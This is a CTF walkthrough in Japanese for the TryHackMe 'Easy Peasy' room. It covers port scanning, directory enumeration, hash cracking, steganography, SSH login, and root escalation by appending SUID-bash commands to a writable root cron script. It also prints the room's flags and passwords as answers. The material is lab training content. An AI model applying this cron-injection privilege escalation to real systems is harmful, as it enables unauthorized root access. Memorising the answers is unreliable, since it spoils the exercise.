【TryHackMe】Easy Peasy：Walkthrough

# 概要

TryHackMe「Easy Peasy」のWalkthroughです。

https://tryhackme.com/r/room/easypeasyctf

# Task1

## **Q1**.*How many ports are open?*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.250.191 -oN nmap_result
PORT      STATE    SERVICE VERSION
80/tcp    open     http    nginx 1.16.1
|_http-server-header: nginx/1.16.1
|_http-title: Welcome to nginx!
| http-robots.txt: 1 disallowed entry 
|_/
6498/tcp  open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 30:4a:2b:22:ac:d9:56:09:f2:da:12:20:57:f4:6c:d4 (RSA)
|   256 bf:86:c9:c7:b7:ef:8c:8b:b9:94:ae:01:88:c0:85:4d (ECDSA)
|_  256 a1:72:ef:6c:81:29:13:ef:5a:6c:24:03:4c:fe:3d:0b (ED25519)
65524/tcp open     http    Apache httpd 2.4.43 ((Ubuntu))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.43 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|80|http|nginx 1.16.1|
|6498|ssh|OpenSSH 7.6p1|
|65524|http|Apache httpd 2.4.43|

**A**.**3**

## **Q2**.*What is the version of nginx?*

nmapのスキャン結果からバージョン情報を得られました。

**A**.**1.16.1**

## **Q3**.*What is running on the highest port?*

ポートスキャンでApacheが`65524`ポートで動作していると分かりました。

**A**.**Apache**

# Task2

## **Q1**.*Using GoBuster, find flag 1.*

`gobuster`でディレクトリの列挙を行います。

```
$ gobuster dir -u http://10.10.250.191 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
/hidden               (Status: 301) [Size: 169] [--> http://10.10.250.191/hidden/]
/index.html           (Status: 200) [Size: 612]
/robots.txt           (Status: 200) [Size: 43]
```

`/hidden`ディレクトリを発見しました。
更にその配下を列挙を行います。

```
$ gobuster dir -u http://10.10.250.191/hidden -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
/index.html           (Status: 200) [Size: 390]
/whatever             (Status: 301) [Size: 169] [--> http://10.10.250.191/hidden/whatever/]
```

`/hidden/whatever`を発見したのでアクセスすると`base64`でエンコードされた文字列を得られました。

![q1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8ddeff5c-5368-d40a-11e8-ea3f0393cf55.jpeg)

デコードしてフラグを入手できます。

```
$ echo "ZmxhZ3tmMXJzN19mbDRnfQ==" | base64 -d    
flag{f1rs7_fl4g}
```

**A**.**flag{f1rs7_fl4g}**

## **Q2**.*Further enumerate the machine, what is flag 2?*

`65524`の`/robots.txt`を見るとハッシュ化された文字列を発見しました。

```/robots.txt
User-Agent:*
Disallow:/
Robots Not Allowed
User-Agent:a18672860d0510e5ab6699730763b250
Allow:/
This Flag Can Enter But Only This Flag No More Exceptions
```

下記サイトでハッシュ値を解析してフラグゲットです。

https://md5hashing.net/hash

![q2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/52b1829f-eb1c-86d9-081e-48655e78b1c8.jpeg)

**A**.**flag{1m_s3c0nd_fl4g}**

## **Q3**.*Crack the hash with easypeasy.txt, What is the flag 3?*

Apacheのページからフラグを入手できます。

![flag3.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fa980b0d-71ff-be2f-1ac7-903b4924dba4.jpeg)

**A**.**flag{9fdafbd64c47471a8f54cd3fc64cd312}**

## **Q4**.*What is the hidden directory?*

`65524`ポートのインデックスページから文字列を発見しました。
`base?`でエンコードされているようです。

![encode strings.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/54c6aee4-e1b3-6a75-3cab-4d203c683016.jpeg)

`base62`でデコードするとパスを発見しました。

![base62 decode.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/25e48314-2391-80d1-df43-ec32bc048623.jpeg)

**A**.**/n0th1ng3ls3m4tt3r**

## **Q5**.*what is the password?*

**Hint**.*GOST Hash john --wordlist=easypeasy.txt --format=gost hash (optional\* Delete duplicated lines,Compare easypeasy.txt to rockyou.txt and delete same words)*

`/n0th1ng3ls3m4tt3r`へアクセスすると文字列と画像を発見しました。

![q5 home.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8a7900a0-10dd-ec77-de16-92967a24ba3d.jpeg)

`JohnTheRipper`で文字列を解析するとパスワードを発見しました。

```
$ john q5 --wordlist=easypeasy_1596838725703.txt --format=gost
mypasswordforthatjob (?)
```

**A**.**mypasswordforthatjob**

## **Q6**.*What is the password to login to the machine via SSH?*

ステガノグラフィーを考えます。
画像を保存して得られたパスワードでファイルの抽出を試みると成功しました。

```
$ steghide extract -sf binarycodepixabay.jpg 
Enter passphrase: 
wrote extracted data to "secrettext.txt".
```

`secrettext.txt`にはユーザー名とパスワードのバイナリがありました。

```
username:boring
password:
01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001
```

デコードしてパスワードを得られました。

![q6 pass.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5a2d8e59-c349-19df-e61e-a16db7e15b0f.jpeg)

**A**.**iconvertedmypasswordtobinary**

## **Q7**.*What is the user flag?*

SSH接続します。

```
$ ssh -p 6498 boring@10.10.250.191
*************************************************************************
**        This connection are monitored by government offical          **
**            Please disconnect if you are not authorized              **
** A lawsuit will be filed against you if the law is not followed      **
*************************************************************************
boring@10.10.250.191's password: 
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
boring@kral4-PC:~$
```

`/home/boring/user.txt`には間違ったフラグがありました。

```/home/boring/user.txt
User Flag But It Seems Wrong Like It`s Rotated Or Something
synt{a0jvgf33zfa0ez4y}
```

文言をヒントにROT13でデコードするとフラグを入手できます。

![user flag.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/44fd97c9-f6ab-fddb-05b7-a00573e81bc2.jpeg)

**A**.**flag{n0wits33msn0rm4l}**

## **Q8**.*What is the root flag?*

プロセスを確認するとクロンジョブが気になりました。

```
$ ps u -A
/usr/sbin/cron -f
```

クロンジョブを確認すると`/var/www/.mysecretcronjob.sh`を実行していると分かりました。

```
$ cat /etc/crontab
* *    * * *   root    cd /var/www/ && sudo bash .mysecretcronjob.sh
```

スクリプトの内容は無く、編集権限もあります。

```
$ cat /var/www/.mysecretcronjob.sh 
#!/bin/bash
# i will run as root
$ ls -l /var/www/.mysecretcronjob.sh 
-rwxr-xr-x 1 boring boring 33 Jun 14  2020 /var/www/.mysecretcronjob.sh
```

権限昇格のスクリプトを追加します。

```
$ echo "cp /bin/bash /tmp/bash" >> /var/www/.mysecretcronjob.sh 
$ echo "chmod u+s /tmp/bash" >> /var/www/.mysecretcronjob.sh
```

クロンジョブが走るとSUIDが設定された`/tmp/bash`を確認できます。

```
$ ls -l /tmp/
total 1104
-rwsr-xr-x 1 root root 1113504 Jul 17 17:45 bash
```

root権限を得られました。

```
$ /tmp/bash -p
bash-4.4# whoami
root
```

フラグファイルを検索します。

```
# find / -name *root.txt* 2>/dev/null
/root/.root.txt
```

`/root/.root.txt`からフラグを入手できます。

```/root/.root.txt
flag{63a9f0ea7bb98050796b649e85481845}
```

**A**.**flag{63a9f0ea7bb98050796b649e85481845}**